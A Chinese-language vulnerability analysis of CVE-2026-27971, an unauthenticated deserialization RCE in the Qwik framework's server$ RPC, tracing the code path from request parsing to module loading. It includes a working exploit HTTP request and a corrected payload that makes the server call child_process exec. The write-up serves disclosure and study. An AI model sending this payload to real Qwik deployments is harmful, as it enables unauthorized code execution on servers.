CVE-2026-27971 Qwik 框架反序列化 RCE 漏洞分析与利用
本文分析了 Qwik 框架 server$ RPC 机制中的不安全反序列化漏洞 CVE-2026-27971,通过构造恶意 application/qwik-json 请求并利用 QRL 对象 Hash 校验绕过逻辑,实现了未授权远程代码执行。文章详细拆解了从请求解析到动态模块加载的完整攻击链,揭示
漏洞描述
Qwik 是一个注重性能的 JavaScript 框架。qwik <=1.19.0 因 server$ RPC 机制中的一个不安全反序列化漏洞而易受 RCE 攻击,该漏洞允许任何未认证用户通过单次 HTTP 请求在服务器上执行任意代码。影响运行时需要()可用的任何部署。该漏洞在1.19.1版本中修复。

漏洞影响
评分:9.2
版本:<=1.19.0
漏洞分析
攻击构造
POST /some-page?qfunc=exec HTTP/1.1
Host: victim.com
Content-Type: application/qwik-json
X-QRL: abc123
Content-Length: 87
{
"_objs": ["\u0002child_process#exec[['whoami']]"],
"_entry": "0"
}
注意:下面讲解时是这个错误示例["\u0002child_process#exec_abc123[['whoami']]"]
会讲述其原因路由 /some-page:必须是一个存在的页面路由
?qfunc=exec:hash 参数,与 QRL 中的 symbol 后缀匹配
X-QRL: exec:与 qfunc 相同
Content-Type: application/qwik-json:触发特殊反序列化路径
后端调用链分析
前端请求接收处
packages/qwik-city/src/middleware/node/index.ts

这里导入了反序列化器

然后在这里包装HTTP请求,并交给 requestHandler
这里的主要作用是将原生 Node.js 请求转换为 Qwik 内部格式,并注入反序列化器。
packages/qwik-city/src/middleware/request-handler/resolve-request-handlers.ts

在这里路由匹配,如果匹配到存在的页面路由runServerFunction 就会被自动添加到处理链中

这是runServerFunction的内容
const fn = ev.query.get(QFN_KEY);从 URL 获取 qfunc=abc123
if (
fn &&
ev.request.headers.get('X-QRL') === fn &&
ev.request.headers.get('Content-Type') === 'application/qwik-json'
) {
ev.exit();
const isDev = getRequestMode(ev) === 'dev';
const qwikSerializer = (ev as RequestEventInternal)[RequestEvQwikSerializer];对请求进行检查
const data = await ev.parseBody();然后在这里解析请求体,从而触发反序列化

第一个参数是 QRL 对象

这里接收QRL对象,qrl.getHash() 只返回 symbol 的后缀
我们可以让恶意 QRL 的 hash 等于 URL 中的 fn 从而达到绕过的目的
接下来走到packages/qwik-city/src/middleware/request-handler/request-event.ts 调用反序列化器

else if (type === 'application/qwik-json') {
if (method === 'GET' && query.has(QDATA_KEY)) {
const data = query.get(QDATA_KEY);
if (data) {
try {
return qwikSerializer._deserializeData(decodeURIComponent(data));
} catch (err) {
//
}当 Content-Type 是 application/qwik-json 时,直接调用 _deserializeData 反序列化请求体
进_deserializeData

const parser = createParser(containerState, doc);创建解析器
for (let i = 0; i < _objs.length; i++) {
const value = _objs[i];
if (isString(value)) {
_objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value);
}
}在预处理 _objs 数组时调用 了parser.prepare 处理字符串
进parser.prepare

$prepare$: (data, containerState) => {
return parseQRL(data, containerState.$containerEl$);
},检测到\u0002 前缀时进入这里,然后去掉 \u0002 前缀,调用 parseQRL

这里返回 prepare 方法,其中
const serializer = getSerializer(data);获取 QRLSerializer
const value = serializer.$prepare$(data.slice(1), containerState, doc);调用 QRLSerializer.$prepare$
进入parseQRL

const hashIdx = indexOf(qrl, 0, '#');
const captureIdx = indexOf(qrl, hashIdx, '[');查找 # 和[分隔符
const chunkEndIdx = Math.min(hashIdx, captureIdx);
const chunk = qrl.substring(0, chunkEndIdx);提取 chunk:"child_process"
const symbolStartIdx = hashIdx == endIdx ? hashIdx : hashIdx + 1;
const symbolEndIdx = captureIdx;
const symbol =
symbolStartIdx == symbolEndIdx ? 'default' : qrl.substring(symbolStartIdx, symbolEndIdx);提取 symbol:"exec_abc123"
const captureStartIdx = captureIdx;
const captureEndIdx = endIdx;
const capture =
captureStartIdx === captureEndIdx
? EMPTY_ARRAY
: qrl.substring(captureStartIdx + 1, captureEndIdx - 1).split(' ');提取 captures:["['whoami']"]
然后直接创建QRL 对象
const iQrl = createQRL<any>(chunk, symbol, null, null, capture, null, null);
if (containerEl) {
iQrl.$setContainer$(containerEl);
}
return iQrl as QRLInternal<T>;
};进入createQRL

const resolvedSymbol = refSymbol ?? symbol;
const hash = getSymbolHash(resolvedSymbol);这里计算 hash,取 symbol 最后一部分
const qrl = async function (this: unknown, ...args: QrlArgs<TYPE>) {
const fn = invokeFn.call(this, tryGetInvokeContext());
const result = await fn(...args);
return result;
} as QRLInternal<TYPE>;创建 QRL 对象

添加方法,这里的
getHash: () => hash,返回abc123
export const getSymbolHash = (symbolName: string) => {
const index = symbolName.lastIndexOf('_');
if (index > -1) {
return symbolName.slice(index + 1);
}
return symbolName;
};这里"exec_abc123" 转化成"abc123"
就是说创建的QRL对象有这三个
chunk = "child_process"
symbol = "exec_abc123"
hash = "abc123"接下来回到runServerFunction 执行 QRL
if (isQrl(qrl) && qrl.getHash() === fn) {
let result: unknown;
try {
if (isDev) {
result = await measure(ev, `server_${qrl.getSymbol()}`, () =>
(qrl as Function).apply(ev, args)
);此时"abc123" === "abc123",从而绕过了验证,然后执行 QRL

执行QRL时调用resolve 方法

在这里调用平台 importSymbol

这里进行了invokeFn 包装
maybeThen(resolveLazy(), (f) =>其中f是加载后的函数
接下来我们先看看importSymbol 加载模块

let modulePath = String(url);
if (!modulePath.endsWith('.js')) {
modulePath += '.js';
}这里将我们的child_process补上.js
也就是"child_process" → "child_process.js"
const module = require(modulePath);
if (!(symbolName in module)) {
throw new Error(`Q-ERROR: missing symbol '${symbolName}' in module '${modulePath}'.`);
}
return module[symbolName];这里会进行检查,在child_process 模块中查找 exec_abc123,显然exec_abc123是不存在的,但exec是存在的
这里的关键点是:symbol 在模块中查找时用的是完整的 "exec_abc123",而不是去掉 hash 后的 "exec"。
因此我们实际攻击需要确保 symbolName 是模块中真实存在的导出名
故而正确的 payload 应该是
child_process#exec[['whoami']]其中 symbol = "exec",hash = getSymbolHash("exec") = "exec"
最后在packages/qwik/src/core/qrl/qrl-class.ts 进行invokeFn 调用

f 是 child_process.exec 函数
return invoke.call(this, context, f, ...(args as Parameters<typeof f>));执行 exec('whoami')
漏洞修复
importSymbol 被修改了,不再允许动态加载任意模块
参考
https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm
你好